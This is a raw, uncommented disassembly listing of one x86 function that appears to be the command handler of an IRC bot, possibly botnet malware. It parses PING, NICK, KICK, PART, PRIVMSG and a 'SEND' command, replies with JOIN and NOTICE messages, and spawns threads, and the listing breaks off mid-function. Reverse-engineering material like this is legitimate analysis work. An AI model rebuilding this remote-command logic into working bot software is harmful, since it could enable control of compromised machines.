var_2ABC	= dword	ptr -2ABCh
var_2AB8	= dword	ptr -2AB8h
var_2AB4	= dword	ptr -2AB4h
var_2AB0	= dword	ptr -2AB0h
var_2AA8	= byte ptr -2AA8h
var_2990	= byte ptr -2990h
var_2910	= dword	ptr -2910h
var_290C	= dword	ptr -290Ch
var_2908	= dword	ptr -2908h
var_2904	= dword	ptr -2904h
var_2900	= dword	ptr -2900h
var_28FC	= dword	ptr -28FCh
var_28F8	= byte ptr -28F8h
var_2878	= byte ptr -2878h
var_2778	= byte ptr -2778h
var_2678	= dword	ptr -2678h
var_2674	= dword	ptr -2674h
var_2670	= dword	ptr -2670h
var_266C	= dword	ptr -266Ch
var_2668	= dword	ptr -2668h
var_2664	= dword	ptr -2664h
var_2660	= dword	ptr -2660h
var_265C	= dword	ptr -265Ch
var_2658	= dword	ptr -2658h
var_2654	= dword	ptr -2654h
var_2650	= byte ptr -2650h
var_25D0	= byte ptr -25D0h
var_24D0	= byte ptr -24D0h
var_23D0	= dword	ptr -23D0h
var_23CC	= dword	ptr -23CCh
var_23C8	= dword	ptr -23C8h
var_23C4	= dword	ptr -23C4h
var_23C0	= dword	ptr -23C0h
var_23BC	= dword	ptr -23BCh
var_23B8	= dword	ptr -23B8h
var_23B4	= dword	ptr -23B4h
var_23B0	= dword	ptr -23B0h
var_23AC	= dword	ptr -23ACh
var_23A8	= byte ptr -23A8h
var_2328	= byte ptr -2328h
var_22A8	= byte ptr -22A8h
var_2228	= dword	ptr -2228h
var_2224	= dword	ptr -2224h
var_2220	= dword	ptr -2220h
var_221C	= dword	ptr -221Ch
var_2218	= dword	ptr -2218h
var_2214	= byte ptr -2214h
var_2194	= byte ptr -2194h
var_2114	= byte ptr -2114h
var_2094	= dword	ptr -2094h
var_2090	= dword	ptr -2090h
var_208C	= dword	ptr -208Ch
var_2088	= dword	ptr -2088h
var_2084	= dword	ptr -2084h
var_2080	= byte ptr -2080h
var_2000	= byte ptr -2000h
var_1F80	= byte ptr -1F80h
var_1F00	= dword	ptr -1F00h
var_1EFC	= dword	ptr -1EFCh
var_1EF8	= dword	ptr -1EF8h
var_1EF4	= dword	ptr -1EF4h
var_1EF0	= dword	ptr -1EF0h
var_1EEC	= byte ptr -1EECh
var_1DEC	= byte ptr -1DECh
var_1D6C	= dword	ptr -1D6Ch
var_1D64	= dword	ptr -1D64h
var_1D60	= dword	ptr -1D60h
var_1D5C	= dword	ptr -1D5Ch
var_1D58	= dword	ptr -1D58h
var_1D54	= dword	ptr -1D54h
var_1D50	= dword	ptr -1D50h
var_1D48	= byte ptr -1D48h
var_1D34	= byte ptr -1D34h
var_1C30	= byte ptr -1C30h
var_1BAC	= dword	ptr -1BACh
var_1BA8	= dword	ptr -1BA8h
var_1BA4	= dword	ptr -1BA4h
var_1BA0	= dword	ptr -1BA0h
var_1B9C	= dword	ptr -1B9Ch
var_1B94	= byte ptr -1B94h
var_1B80	= byte ptr -1B80h
var_1A7C	= byte ptr -1A7Ch
var_19FC	= dword	ptr -19FCh
var_19F8	= dword	ptr -19F8h
var_19F4	= dword	ptr -19F4h
var_19F0	= dword	ptr -19F0h
var_19EC	= dword	ptr -19ECh
var_19E8	= dword	ptr -19E8h
var_19E4	= byte ptr -19E4h
var_1964	= byte ptr -1964h
var_1924	= byte ptr -1924h
var_1824	= dword	ptr -1824h
var_1820	= dword	ptr -1820h
var_1814	= dword	ptr -1814h
var_1810	= dword	ptr -1810h
var_180C	= dword	ptr -180Ch
var_1808	= byte ptr -1808h
var_17D0	= byte ptr -17D0h
var_17B4	= byte ptr -17B4h
var_177C	= byte ptr -177Ch
var_1778	= byte ptr -1778h
var_16F8	= byte ptr -16F8h
var_16B8	= byte ptr -16B8h
var_1628	= dword	ptr -1628h
var_1624	= dword	ptr -1624h
var_1620	= dword	ptr -1620h
var_161C	= dword	ptr -161Ch
var_1618	= dword	ptr -1618h
var_1614	= byte ptr -1614h
var_1594	= byte ptr -1594h
var_1514	= dword	ptr -1514h
var_1510	= dword	ptr -1510h
var_150C	= dword	ptr -150Ch
var_1508	= dword	ptr -1508h
var_1504	= byte ptr -1504h
var_14F4	= byte ptr -14F4h
var_1474	= byte ptr -1474h
var_13F4	= dword	ptr -13F4h
var_13EC	= dword	ptr -13ECh
var_13E8	= dword	ptr -13E8h
var_13E4	= dword	ptr -13E4h
var_13E0	= dword	ptr -13E0h
var_13DC	= dword	ptr -13DCh
var_13D8	= dword	ptr -13D8h
var_13D4	= byte ptr -13D4h
var_1354	= byte ptr -1354h
var_12D4	= byte ptr -12D4h
var_1254	= dword	ptr -1254h
var_1250	= dword	ptr -1250h
var_124C	= dword	ptr -124Ch
var_1248	= dword	ptr -1248h
var_1244	= dword	ptr -1244h
var_1240	= dword	ptr -1240h
var_123C	= dword	ptr -123Ch
var_1238	= dword	ptr -1238h
var_1230	= byte ptr -1230h
var_11B0	= byte ptr -11B0h
var_1130	= dword	ptr -1130h
var_112C	= dword	ptr -112Ch
var_1128	= dword	ptr -1128h
var_1120	= dword	ptr -1120h
var_111C	= dword	ptr -111Ch
var_1118	= dword	ptr -1118h
var_1110	= dword	ptr -1110h
var_110C	= byte ptr -110Ch
var_108C	= byte ptr -108Ch
var_100C	= dword	ptr -100Ch
var_1008	= dword	ptr -1008h
var_1004	= dword	ptr -1004h
var_FFC		= dword	ptr -0FFCh
var_FF8		= dword	ptr -0FF8h
var_FF4		= dword	ptr -0FF4h
var_FF0		= dword	ptr -0FF0h
var_FEC		= dword	ptr -0FECh
var_FE8		= byte ptr -0FE8h
var_F68		= dword	ptr -0F68h
var_F64		= dword	ptr -0F64h
var_F60		= dword	ptr -0F60h
var_F5C		= dword	ptr -0F5Ch
var_F58		= dword	ptr -0F58h
var_F54		= byte ptr -0F54h
var_ED4		= dword	ptr -0ED4h
var_ED0		= dword	ptr -0ED0h
var_ECC		= dword	ptr -0ECCh
var_EC8		= dword	ptr -0EC8h
var_EC4		= dword	ptr -0EC4h
var_EC0		= byte ptr -0EC0h
var_E40		= dword	ptr -0E40h
var_E3C		= dword	ptr -0E3Ch
var_E38		= dword	ptr -0E38h
var_E34		= dword	ptr -0E34h
var_E30		= byte ptr -0E30h
var_E10		= byte ptr -0E10h
var_E00		= byte ptr -0E00h
var_D80		= dword	ptr -0D80h
var_D7C		= byte ptr -0D7Ch
var_CFC		= byte ptr -0CFCh
var_C7C		= dword	ptr -0C7Ch
var_C78		= dword	ptr -0C78h
var_C74		= dword	ptr -0C74h
var_C70		= dword	ptr -0C70h
var_C6C		= dword	ptr -0C6Ch
var_C68		= dword	ptr -0C68h
var_C64		= dword	ptr -0C64h
var_C60		= dword	ptr -0C60h
var_C5C		= dword	ptr -0C5Ch
var_C58		= dword	ptr -0C58h
var_C54		= byte ptr -0C54h
var_BD4		= dword	ptr -0BD4h
var_BD0		= dword	ptr -0BD0h
var_BCC		= dword	ptr -0BCCh
var_BC8		= dword	ptr -0BC8h
var_BC4		= byte ptr -0BC4h
var_B44		= dword	ptr -0B44h
var_B40		= dword	ptr -0B40h
var_B3C		= dword	ptr -0B3Ch
var_B38		= dword	ptr -0B38h
var_B34		= dword	ptr -0B34h
var_B30		= dword	ptr -0B30h
var_B2C		= byte ptr -0B2Ch
var_AAC		= dword	ptr -0AACh
var_AA8		= dword	ptr -0AA8h
var_AA4		= dword	ptr -0AA4h
var_AA0		= dword	ptr -0AA0h
var_A9C		= dword	ptr -0A9Ch
var_A98		= dword	ptr -0A98h
var_A94		= byte ptr -0A94h
var_A14		= dword	ptr -0A14h
var_A10		= dword	ptr -0A10h
var_A0C		= dword	ptr -0A0Ch
var_A08		= dword	ptr -0A08h
var_A04		= dword	ptr -0A04h
var_A00		= dword	ptr -0A00h
var_9FC		= byte ptr -9FCh
var_97C		= word ptr -97Ch
var_978		= dword	ptr -978h
var_970		= dword	ptr -970h
var_96C		= dword	ptr -96Ch
var_968		= dword	ptr -968h
var_960		= byte ptr -960h
var_8FF		= byte ptr -8FFh
var_8FE		= byte ptr -8FEh
var_8FC		= byte ptr -8FCh
var_8FB		= byte ptr -8FBh
var_8F2		= byte ptr -8F2h
var_8F0		= byte ptr -8F0h
var_8EE		= byte ptr -8EEh
var_8ED		= byte ptr -8EDh
var_860		= byte ptr -860h
var_850		= byte ptr -850h
var_7D0		= byte ptr -7D0h
var_750		= dword	ptr -750h
var_74C		= dword	ptr -74Ch
var_748		= dword	ptr -748h
var_744		= dword	ptr -744h
var_740		= dword	ptr -740h
var_734		= dword	ptr -734h
var_730		= dword	ptr -730h
var_728		= dword	ptr -728h
var_724		= dword	ptr -724h
var_720		= dword	ptr -720h
var_71C		= dword	ptr -71Ch
var_714		= dword	ptr -714h
var_710		= byte ptr -710h
var_690		= dword	ptr -690h
var_688		= dword	ptr -688h
var_684		= dword	ptr -684h
var_680		= dword	ptr -680h
var_678		= dword	ptr -678h
var_674		= dword	ptr -674h
var_670		= dword	ptr -670h
var_668		= dword	ptr -668h
var_63C		= dword	ptr -63Ch
var_638		= word ptr -638h
var_624		= dword	ptr -624h
var_620		= byte ptr -620h
var_5A0		= byte ptr -5A0h
var_590		= dword	ptr -590h
var_58C		= dword	ptr -58Ch
var_584		= dword	ptr -584h
var_580		= dword	ptr -580h
var_57C		= dword	ptr -57Ch
var_574		= dword	ptr -574h
var_570		= byte ptr -570h
var_4F0		= dword	ptr -4F0h
var_4EC		= dword	ptr -4ECh
var_4E8		= dword	ptr -4E8h
var_4E4		= dword	ptr -4E4h
var_4E0		= dword	ptr -4E0h
var_4D8		= dword	ptr -4D8h
var_4D4		= dword	ptr -4D4h
var_4D0		= dword	ptr -4D0h
var_4C8		= byte ptr -4C8h
var_4BC		= byte ptr -4BCh
var_484		= byte ptr -484h
var_474		= byte ptr -474h
var_3F4		= byte ptr -3F4h
var_374		= dword	ptr -374h
var_370		= dword	ptr -370h
var_36C		= dword	ptr -36Ch
var_368		= dword	ptr -368h
var_364		= dword	ptr -364h
var_358		= dword	ptr -358h
var_354		= dword	ptr -354h
var_34C		= dword	ptr -34Ch
var_348		= dword	ptr -348h
var_344		= dword	ptr -344h
var_340		= dword	ptr -340h
var_338		= byte ptr -338h
var_31C		= word ptr -31Ch
var_31A		= word ptr -31Ah
var_318		= dword	ptr -318h
var_30C		= byte ptr -30Ch
var_308		= dword	ptr -308h
var_2FC		= byte ptr -2FCh
var_2F8		= byte ptr -2F8h
var_2F4		= dword	ptr -2F4h
var_2E8		= byte ptr -2E8h
var_2E4		= byte ptr -2E4h
var_2E3		= byte ptr -2E3h
var_2E2		= byte ptr -2E2h
var_2D8		= dword	ptr -2D8h
var_2D4		= dword	ptr -2D4h
var_2D0		= dword	ptr -2D0h
var_2CC		= dword	ptr -2CCh
var_2C8		= dword	ptr -2C8h
var_2C4		= byte ptr -2C4h
var_C4		= byte ptr -0C4h
var_AC		= dword	ptr -0ACh
var_A8		= dword	ptr -0A8h
var_A4		= dword	ptr -0A4h
var_A0		= byte ptr -0A0h
var_94		= byte ptr -94h
var_93		= byte ptr -93h
var_92		= byte ptr -92h
var_90		= dword	ptr -90h
var_8C		= dword	ptr -8Ch
var_88		= dword	ptr -88h
var_84		= dword	ptr -84h
var_80		= dword	ptr -80h
var_7C		= dword	ptr -7Ch
var_78		= dword	ptr -78h
var_50		= byte ptr -50h
var_14		= byte ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h
arg_24		= dword	ptr  2Ch
arg_28		= dword	ptr  30h

		push	ebp
		mov	ebp, esp
		mov	eax, 5D88h
		call	sub_41BB20
		push	ebx
		push	esi
		mov	esi, 200h
		push	edi
		xor	ebx, ebx
		push	esi
		lea	eax, [ebp+var_2C4]
		push	ebx
		push	eax
		mov	[ebp+var_AC], 3
		mov	[ebp+var_10], ebx
		mov	[ebp+var_A4], ebx
		mov	[ebp+var_8], ebx
		mov	[ebp+var_4], ebx
		mov	[ebp+var_2C8], ebx
		call	sub_41B590
		push	1Bh
		lea	eax, [ebp+var_338]
		push	[ebp+arg_10]
		push	eax
		call	sub_41B5F0
		add	esp, 18h
		cmp	[ebp+arg_0], ebx
		jz	loc_401E94
		push	esi
		lea	eax, [ebp+var_4488]
		push	ebx
		push	eax
		call	sub_41B590
		dec	esi
		lea	eax, [ebp+var_4488]
		push	esi
		push	[ebp+arg_0]
		push	eax
		call	sub_41B5F0
		lea	eax, [ebp+var_4488]
		push	offset asc_42D128 ; " :"
		push	eax
		call	sub_41B900
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_4488]
		push	esi
		push	eax
		lea	eax, [ebp+var_4AF0]
		push	eax
		call	sub_41B5F0
		mov	esi, offset asc_42D124 ; " "
		lea	eax, [ebp+var_4AF0]
		push	esi
		push	eax
		call	sub_41C0F4
		add	esp, 34h
		mov	[ebp+var_90], eax
		lea	edi, [ebp+var_8C]
		mov	[ebp+var_A8], 1Fh


loc_401BA0:				; CODE XREF: sub_401ACD+E7j
		push	esi
		push	ebx
		call	sub_41C0F4
		mov	[edi], eax
		pop	ecx
		add	edi, 4
		dec	[ebp+var_A8]
		pop	ecx
		jnz	short loc_401BA0
		mov	esi, [ebp+var_90]
		cmp	esi, ebx
		jz	loc_401E94
		cmp	[ebp+var_8C], ebx
		jz	loc_401E94
		push	100h
		lea	eax, [ebp+var_960]
		push	ebx
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	ecx, [ebp+var_14]
		push	1Fh
		pop	edx
		push	1
		pop	edi


loc_401BEE:				; CODE XREF: sub_401ACD+153j
		mov	eax, [ecx]
		cmp	eax, ebx
		jz	short loc_401C1A
		cmp	byte ptr [eax],	2Dh
		jnz	short loc_401C22
		cmp	[eax+2], bl
		jnz	short loc_401C22
		movsx	esi, byte ptr [eax+1]
		mov	[ecx], ebx
		mov	[ebp+esi+var_960], 1
		mov	esi, [ebp+var_90]
		mov	[eax], bl
		mov	[eax+1], bl
		mov	[eax+2], bl


loc_401C1A:				; CODE XREF: sub_401ACD+125j
		dec	edx
		sub	ecx, 4
		cmp	edx, ebx
		jge	short loc_401BEE


loc_401C22:				; CODE XREF: sub_401ACD+12Aj
					; sub_401ACD+12Fj
		cmp	[ebp+var_8ED], bl
		jz	short loc_401C2D
		mov	[ebp+var_8], edi


loc_401C2D:				; CODE XREF: sub_401ACD+15Bj
		cmp	[ebp+var_8F2], bl
		jz	short loc_401C3B
		mov	[ebp+var_8], ebx
		mov	[ebp+var_4], edi


loc_401C3B:				; CODE XREF: sub_401ACD+166j
		cmp	byte ptr [esi],	0Ah
		jz	short loc_401C75
		push	7Fh
		lea	eax, [ebp+var_E00]
		push	esi
		push	eax
		call	sub_41B5F0
		lea	eax, [esi+1]
		push	17h
		push	eax
		lea	eax, [ebp+var_C4]
		push	eax
		call	sub_41B5F0
		lea	eax, [ebp+var_C4]
		push	offset asc_42D120 ; "!"
		push	eax
		call	sub_41C0F4
		add	esp, 20h


loc_401C75:				; CODE XREF: sub_401ACD+171j
		push	esi
		push	offset aPing	; "PING"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401CC6
		push	[ebp+var_8C]
		mov	byte ptr [esi+1], 4Fh
		push	offset aPongS	; "PONG	%s\r\n"
		push	[ebp+arg_4]
		call	sub_409A2D
		mov	eax, [ebp+arg_20]
		add	esp, 0Ch
		cmp	[eax], ebx
		jnz	loc_401D6A
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	offset aJoinSS	; "JOIN	%s %s\r\n"
		push	[ebp+arg_4]
		call	sub_409A2D
		add	esp, 10h
		jmp	loc_401D6A
; ---------------------------------------------------------------------------


loc_401CC6:				; CODE XREF: sub_401ACD+1B7j
		mov	esi, [ebp+var_8C]
		push	esi
		push	offset a001	; "001"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4099E1
		push	esi
		push	offset a005	; "005"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4099E1
		push	esi
		push	offset a302	; "302"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401D2E
		push	offset a@	; "@"
		push	[ebp+var_84]
		call	sub_41B900
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_401D6A
		inc	eax
		push	9Fh
		push	eax
		push	[ebp+arg_1C]
		call	sub_41B5F0
		jmp	short loc_401D67
; ---------------------------------------------------------------------------


loc_401D2E:				; CODE XREF: sub_401ACD+238j
		push	esi
		push	offset a433	; "433"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401D71
		push	ebx
		push	dword_4290A0
		push	dword_42909C
		push	[ebp+arg_10]
		call	sub_40B08E
		add	esp, 10h
		push	[ebp+arg_10]
		push	offset aNickS	; "NICK	%s\r\n"
		push	[ebp+arg_4]
		call	sub_409A2D


loc_401D67:				; CODE XREF: sub_401ACD+25Fj
		add	esp, 0Ch


loc_401D6A:				; CODE XREF: sub_401ACD+1D8j
					; sub_401ACD+1F4j ...
		mov	eax, edi
		jmp	loc_401E97
; ---------------------------------------------------------------------------


loc_401D71:				; CODE XREF: sub_401ACD+270j
		mov	esi, [ebp+arg_18]
		mov	[ebp+var_A8], 3
		mov	edi, 80h


loc_401D83:				; CODE XREF: sub_401ACD+2DBj
		lea	eax, [ebp+var_E00]
		push	eax
		push	esi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401DA0
		mov	[ebp+var_A4], 1


loc_401DA0:				; CODE XREF: sub_401ACD+2C7j
		add	esi, edi
		dec	[ebp+var_A8]
		jnz	short loc_401D83
		mov	esi, [ebp+var_8C]
		push	esi
		push	offset aKick	; "KICK"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_401E9C
		mov	esi, [ebp+arg_18]
		mov	[ebp+arg_24], 3


loc_401DCF:				; CODE XREF: sub_401ACD+392j
		cmp	[esi], bl
		jz	loc_401E5A
		push	7Fh
		lea	eax, [ebp+var_E00]
		push	esi
		push	eax
		call	sub_41B5F0
		lea	eax, [ebp+var_C4]
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_401E5A
		cmp	[ebp+var_84], ebx
		jz	short loc_401E5A
		push	[ebp+var_84]
		lea	eax, [ebp+var_C4]
		push	eax
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401E5A
		lea	eax, [ebp+var_C4]
		mov	[esi], bl
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42D0B4
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		lea	eax, [ebp+var_2C4]
		push	eax
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset aNoticeSS ; "NOTICE %s :%s\r\n"
		push	[ebp+arg_4]
		call	sub_409A2D
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_4151AD
		add	esp, 14h


loc_401E5A:				; CODE XREF: sub_401ACD+304j
					; sub_401ACD+324j ...
		add	esi, edi
		dec	[ebp+arg_24]
		jnz	loc_401DCF
		push	[ebp+var_84]
		push	[ebp+arg_10]
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401E94
		push	[ebp+arg_C]
		mov	eax, [ebp+arg_20]
		push	[ebp+arg_8]
		mov	[eax], ebx
		push	offset aJoinSS	; "JOIN	%s %s\r\n"


loc_401E89:				; CODE XREF: sub_401ACD+612j
					; sub_401ACD+8D5j ...
		push	[ebp+arg_4]
		call	sub_409A2D


loc_401E91:				; CODE XREF: sub_401ACD+253Cj
					; sub_401ACD+2559j ...
		add	esp, 10h


loc_401E94:				; CODE XREF: sub_401ACD+5Bj
					; sub_401ACD+F1j ...
		push	1


loc_401E96:				; CODE XREF: sub_401ACD+2A62j
		pop	eax


loc_401E97:				; CODE XREF: sub_401ACD+29Fj
					; sub_401ACD+2A84j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_401E9C:				; CODE XREF: sub_401ACD+2F2j
		push	esi
		push	offset aNick	; "NICK"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_401FF2
		mov	eax, [ebp+var_88]
		mov	esi, [ebp+arg_18]
		inc	eax
		mov	[ebp+arg_0], 3
		mov	[ebp+arg_24], eax


loc_401EC5:				; CODE XREF: sub_401ACD+44Aj
		lea	eax, [ebp+var_E00]
		push	eax
		push	esi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401F12
		lea	eax, [ebp+var_E00]
		push	21h
		push	eax
		call	sub_41BFB0
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+arg_1C], eax
		jz	short loc_401F12
		push	[ebp+arg_24]
		lea	edi, [esi+2]
		mov	byte ptr [esi],	3Ah
		lea	eax, [edi-1]
		push	eax
		call	sub_41BEB0
		push	[ebp+arg_1C]
		push	edi
		call	sub_41BEC0
		add	esp, 10h
		mov	edi, 80h


loc_401F12:				; CODE XREF: sub_401ACD+409j
					; sub_401ACD+420j
		add	esi, edi
		dec	[ebp+arg_0]
		jnz	short loc_401EC5
		lea	eax, [ebp+var_C4]
		test	eax, eax
		jz	loc_401E94
		cmp	[ebp+arg_24], ebx
		jz	loc_401E94
		push	[ebp+arg_10]
		lea	eax, [ebp+var_C4]
		push	eax
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401F5A
		push	0Fh
		push	[ebp+arg_24]
		push	[ebp+arg_10]
		call	sub_41B5F0


loc_401F52:				; CODE XREF: sub_401ACD+1C36j
		add	esp, 0Ch
		jmp	loc_401E94
; ---------------------------------------------------------------------------


loc_401F5A:				; CODE XREF: sub_401ACD+476j
		mov	edi, [ebp+arg_18]
		xor	esi, esi


loc_401F5F:				; CODE XREF: sub_401ACD+4B3j
		cmp	[edi], bl
		jz	short loc_401F76
		lea	eax, [ebp+var_E00]
		push	eax
		push	edi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_401F87


loc_401F76:				; CODE XREF: sub_401ACD+494j
		inc	esi
		add	edi, 80h
		cmp	esi, 3
		jl	short loc_401F5F
		jmp	loc_401E94
; ---------------------------------------------------------------------------


loc_401F87:				; CODE XREF: sub_401ACD+4A7j
		lea	eax, [ebp+var_E00]
		push	21h
		push	eax
		call	sub_41BFB0
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+arg_0], eax
		jz	loc_401E94
		push	eax
		call	sub_41AFE0
		push	[ebp+arg_24]
		mov	edi, eax
		call	sub_41AFE0
		add	edi, eax
		pop	ecx
		cmp	edi, 7Eh
		pop	ecx
		ja	loc_401E94
		push	[ebp+arg_0]
		shl	esi, 7
		push	[ebp+arg_24]
		add	esi, [ebp+arg_18]
		push	offset aSS	; ":%s%s"
		push	esi
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_45EC]
		push	ebx
		push	eax
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		call	sub_409A73
		add	esp, 24h
		jmp	loc_401E94
; ---------------------------------------------------------------------------


loc_401FF2:				; CODE XREF: sub_401ACD+3DEj
		push	esi
		push	offset aPart	; "PART"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_402014
		push	esi
		push	offset aQuit	; "QUIT"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40203B


loc_402014:				; CODE XREF: sub_401ACD+534j
		mov	edi, [ebp+arg_18]
		xor	esi, esi


loc_402019:				; CODE XREF: sub_401ACD+56Cj
		cmp	[edi], bl
		jz	short loc_40202F
		push	[ebp+var_90]
		push	edi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_402083


loc_40202F:				; CODE XREF: sub_401ACD+54Ej
		inc	esi
		add	edi, 80h
		cmp	esi, 3
		jl	short loc_402019


loc_40203B:				; CODE XREF: sub_401ACD+545j
		push	[ebp+var_8C]
		push	offset a353	; "353"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4020E4
		push	[ebp+var_80]
		push	[ebp+arg_8]
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40206F
		mov	eax, [ebp+arg_20]
		mov	dword ptr [eax], 1


loc_40206F:				; CODE XREF: sub_401ACD+597j
		push	[ebp+var_80]
		push	offset unk_42D060


loc_402077:				; CODE XREF: sub_401ACD+28CDj
					; sub_401ACD+2C4Dj ...
		call	sub_415221


loc_40207C:				; CODE XREF: sub_401ACD+1BE2j
		pop	ecx


loc_40207D:				; CODE XREF: sub_401ACD+7B70j
		pop	ecx
		jmp	loc_401E94
; ---------------------------------------------------------------------------


loc_402083:				; CODE XREF: sub_401ACD+560j
		mov	eax, [ebp+arg_18]
		shl	esi, 7
		mov	[esi+eax], bl
		lea	eax, [ebp+var_C4]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42D03C
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_4151AD
		push	[ebp+var_8C]
		push	offset aPart	; "PART"
		call	sub_41C070
		add	esp, 18h
		test	eax, eax
		jnz	loc_401E94
		lea	eax, [ebp+var_2C4]
		push	eax
		mov	eax, [ebp+var_90]
		inc	eax
		push	eax
		push	offset aNoticeSS ; "NOTICE %s :%s\r\n"
		jmp	loc_401E89
; ---------------------------------------------------------------------------


loc_4020E4:				; CODE XREF: sub_401ACD+582j
		push	[ebp+var_8C]
		mov	esi, offset aPrivmsg ; "PRIVMSG"
		push	esi
		call	sub_41C070
		pop	ecx
		mov	edi, offset aNotice ; "NOTICE"
		test	eax, eax
		pop	ecx
		jz	short loc_402138
		push	[ebp+var_8C]
		push	edi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_402138
		push	[ebp+var_8C]
		push	offset dword_42D028
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_409855
		cmp	dword_429088, ebx
		jz	loc_409855


loc_402138:				; CODE XREF: sub_401ACD+631j
					; sub_401ACD+643j
		push	[ebp+var_8C]
		push	esi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4022BE
		push	[ebp+var_8C]
		push	edi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4022BE
		mov	eax, [ebp+var_84]
		inc	[ebp+var_80]
		push	4
		mov	[ebp+var_88], eax
		pop	esi
		mov	[ebp+var_AC], esi


loc_40217C:				; CODE XREF: sub_401ACD+8ADj
					; sub_401ACD+8E9j ...
		shl	esi, 2
		mov	eax, [ebp+esi+var_90]
		lea	edi, [ebp+esi+var_90]
		push	eax
		push	offset dword_42D020
		mov	[ebp+arg_8], eax
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_402557
		push	[ebp+esi+var_8C]
		push	offset aSend_0	; "SEND"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40241E
		cmp	[ebp+var_A4], ebx
		jz	loc_4023F7
		push	[ebp+esi+var_88]
		mov	edi, offset aS_1 ; "%s"
		lea	eax, [ebp+var_1B80]
		push	edi
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		lea	eax, [ebp+var_1B94]
		push	[ebp+esi+var_84]
		push	edi
		push	eax
		call	sub_41B886
		push	[ebp+esi+var_80]
		call	sub_41B779
		mov	[ebp+var_19FC],	eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_1B9C],	eax
		lea	eax, [ebp+var_C4]
		push	7Fh
		push	eax
		lea	eax, [ebp+var_1A7C]
		push	eax
		call	sub_41B5F0
		mov	eax, [ebp+var_4]
		add	esp, 1Ch
		mov	[ebp+var_19F4],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_19F0],	eax
		lea	eax, [ebp+var_1A7C]
		push	eax
		lea	eax, [ebp+var_1B80]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42CFE4
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	1Ah
		push	eax
		call	sub_40B0F7
		add	esp, 1Ch
		mov	[ebp+var_19F8],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_1B9C]
		push	ebx
		push	eax
		push	offset loc_4161BD
		push	ebx
		push	ebx
		call	near ptr 2680000h
		nop
		mov	ecx, [ebp+var_19F8]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E5A4[ecx], eax
		jz	loc_4023E6


loc_4022A8:				; CODE XREF: sub_401ACD+7EFj
		cmp	[ebp+var_19EC],	ebx
		jnz	loc_4083BD
		push	32h
		nop
		call	near ptr 2670EC7h
		jmp	short loc_4022A8
; ---------------------------------------------------------------------------


loc_4022BE:				; CODE XREF: sub_401ACD+67Bj
					; sub_401ACD+691j
		push	[ebp+var_8C]
		push	edi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4022D7
		mov	[ebp+var_4], 1


loc_4022D7:				; CODE XREF: sub_401ACD+801j
		cmp	[ebp+var_88], ebx
		jz	loc_401E94
		push	offset dword_42CFE0
		push	[ebp+var_88]
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4022FE
		cmp	[ebp+var_4], ebx
